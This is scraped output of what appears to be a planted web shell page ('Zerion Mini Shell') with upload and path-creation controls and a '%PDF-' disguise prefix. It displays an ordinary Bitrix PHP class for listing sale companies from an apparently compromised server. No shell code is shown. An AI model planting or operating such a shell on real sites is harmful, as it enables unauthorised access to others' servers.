%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/services/company/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/services/company/manager.php

<?php
namespace Bitrix\Sale\Services\Company;

use Bitrix\Main;
use Bitrix\Sale\Internals;

class Manager
{
	/**
	 * @param $parameters
	 * @return Main\DB\Result
	 * @throws Main\ArgumentException
	 */
	public static function getList($parameters)
	{
		return Internals\CompanyTable::getList($parameters);
	}

	/**
	 * @param $id
	 * @return Main\DB\Result
	 * @throws Main\ArgumentException
	 */
	public static function getById($id)
	{
		return Internals\CompanyTable::getById($id);
	}

	/**
	 * @param Internals\Entity $entity
	 * @param int $mode
	 * @return array
	 */
	public static function getListWithRestrictions(Internals\Entity $entity, $mode = Restrictions\Manager::MODE_CLIENT)
	{
		$result = array();

		$dbRes = self::getList(array(
			'filter' => array('ACTIVE' => 'Y')
		));

		while ($company = $dbRes->fetch())
		{
			if ($mode == Restrictions\Manager::MODE_MANAGER)
			{
				$checkServiceResult = Restrictions\Manager::checkService($company['ID'], $entity, $mode);
				if ($checkServiceResult != Restrictions\Manager::SEVERITY_STRICT)
				{
					if ($checkServiceResult == Restrictions\Manager::SEVERITY_SOFT)
						$company['RESTRICTED'] = $checkServiceResult;
					$result[$company['ID']] = $company;
				}
			}
			else if ($mode == Restrictions\Manager::MODE_CLIENT)
			{
				if (Restrictions\Manager::checkService($company['ID'], $entity, $mode) === Restrictions\Manager::SEVERITY_NONE)
					$result[$company['ID']] = $company;
			}
		}

		return $result;
	}

	/**
	 * @param Internals\Entity $entity
	 * @param int $mode
	 * @return int
	 */
	public static function getAvailableCompanyIdByEntity(Internals\Entity $entity, $mode = Restrictions\Manager::MODE_CLIENT)
	{
		$dbRes = self::getList(array(
			'select' => array('ID'),
			'filter' => array('=ACTIVE' => 'Y'),
			'order' => array('SORT' => 'ASC')
		));

		while ($company = $dbRes->fetch())
		{
			$result = Restrictions\Manager::checkService($company['ID'], $entity, $mode);
			if ($mode == Restrictions\Manager::MODE_CLIENT)
			{
				if ($result == Restrictions\Manager::SEVERITY_NONE)
					return $company['ID'];
			}
			else
			{
				if ($result != Restrictions\Manager::SEVERITY_STRICT)
					return $company['ID'];
			}
		}

		return 0;
	}

	/**
	 * Returns entity link name for connection with Locations
	 * @return string
	 */
	public static function getLocationConnectorEntityName()
	{
		return	'Bitrix\Sale\Internals\CompanyLocation';
	}

	/**
	 * @param $id
	 *
	 * @return array
	 */
	public static function getUserCompanyList($id)
	{
		static $list = array();

		if (empty($list[$id]))
		{
			$list[$id] = array();

			$groups = \CUser::GetUserGroup($id);

			$filterCompany = array(
				'select' => array(
					'ID',
				),
				'filter' => array(
					'=GROUP.GROUP_ID' => $groups
				),
				'runtime' => array(
					new Main\Entity\ReferenceField(
						'GROUP',
						'\Bitrix\Sale\Internals\CompanyGroupTable',
						array(
							'=this.ID' => 'ref.COMPANY_ID',
						)
					)
				),
				'order'  => array('ID'),
			);

			$resCompany = Internals\CompanyTable::getList($filterCompany);
			while($companyData = $resCompany->fetch())
			{
				$list[$id][] = $companyData['ID'];
			}
		}

		return $list[$id];
	}
}

Zerion Mini Shell 1.0